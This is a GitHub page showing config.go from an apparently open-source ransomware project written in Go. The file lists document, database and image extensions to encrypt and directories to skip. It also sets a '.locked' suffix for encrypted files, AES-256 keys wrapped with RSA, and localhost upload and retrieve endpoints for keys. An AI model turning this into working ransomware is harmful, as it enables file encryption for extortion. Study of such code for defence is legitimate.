-
Notifications
You must be signed in to change notification settings - Fork 327
/
Copy pathconfig.go
54 lines (45 loc) · 979 Bytes
/
config.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package main
// Extensions to walk
var Extensions = [...]string{
"txt",
"doc",
"docx",
"xls",
"xlsx",
"ppt",
"pptx",
"odt",
"jpg",
"png",
"csv",
"sql",
"mdb",
"sln",
"php",
"asp",
"aspx",
"html",
"xml",
"psd",
}
// IgnoreDirs will skip directories that contains the string
var IgnoreDirs = [...]string{
"AppData",
".",
}
const (
// LockedExtension to append to file name when encrypted
LockedExtension = ".locked"
// ProcessMax X files, then stop
ProcessMax int = 1
// KeySize in bytes (AES-256)
KeySize int = 32
// Bits Keypair bit size (higher = exponentially slower)
Bits int = 1024
// EncryptedHeaderSize I don't know how to calculate the length of RSA ciphertext, but with KeySize + aes.BlockSize it'll be 128 bytes
// Check this if changing AES keysize or RSA bit size
EncryptedHeaderSize int = 128
// Endpoint web server URL
UploadEndpoint = "http://localhost:1312/upload"
RetrieveEndpoint = "http://localhost:1312/retrieve"
)